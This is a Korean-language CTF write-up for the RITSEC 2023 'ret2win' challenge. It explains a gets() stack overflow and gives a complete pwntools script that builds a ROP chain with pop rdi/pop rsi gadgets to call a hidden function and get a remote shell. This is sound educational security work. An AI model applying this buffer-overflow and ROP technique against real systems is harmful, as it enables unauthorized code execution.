RITSEC CTF 2023 - ret2win

Are you looking for an exploit dev job. Well apply to the Republic of Potatoes. We are looking for the best hackers out there. Download the binary, find the secret door and remember to pass the right password.
nc ret2win.challenges.ctf.ritsec.club 1337

  • [208 solves / 83 points]

3월 말 ~ 4월 초에 진행했던 씨텝인데 다른 문제 풀다가 이제 롸업을 적는다..

Analysis

main 함수에서 gets 함수로 인해 bof가 발생한다. 최종적으로 흐름을 돌려야 하는 함수는 아래와 같다.

1
2
3
4
5
6
7
8
int __fastcall supersecrettoplevelfunction(int a1, int a2)
{
puts("[*] if you figure out my address, you are hired.");
if ( a1 == '\xCA\xFE\xBA\xBE' && a2 == '\xC0\xDE\xBA\xBE' )
return system("/bin/sh");
else
return puts("[!!] You are good but not good enough for my company");
}

인자를 잘 맞춰주기만 하면 된다. rdi에 a1에 해당하는 값을 넣어야 하나, a2에 해당하는 값을 넣어야 하나 가끔 고민될 때가 있는데 이럴땐 어셈을 보면 바로 알 수 있다.


Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

# p = process('./chall')
p = remote('ret2win.challenges.ctf.ritsec.club', 1337)
e = ELF('./chall')

payload = b''
payload += b'\x00' * (0x20+0x8)
payload += p64(0x4012b3) # pop rdi
payload += b'\xBE\xBA\xFE\xCA\x00\x00\x00\x00'
payload += p64(0x4012b1) # pop rsi
payload += b'\xBE\xBA\xDE\xC0\x00\x00\x00\x00' + p64(0)
# payload += p64(0x40101a) # ret
payload += p64(e.sym['supersecrettoplevelfunction'])

pause()
# p.sendlineafter('function!!',payload)
p.send(payload)

p.interactive()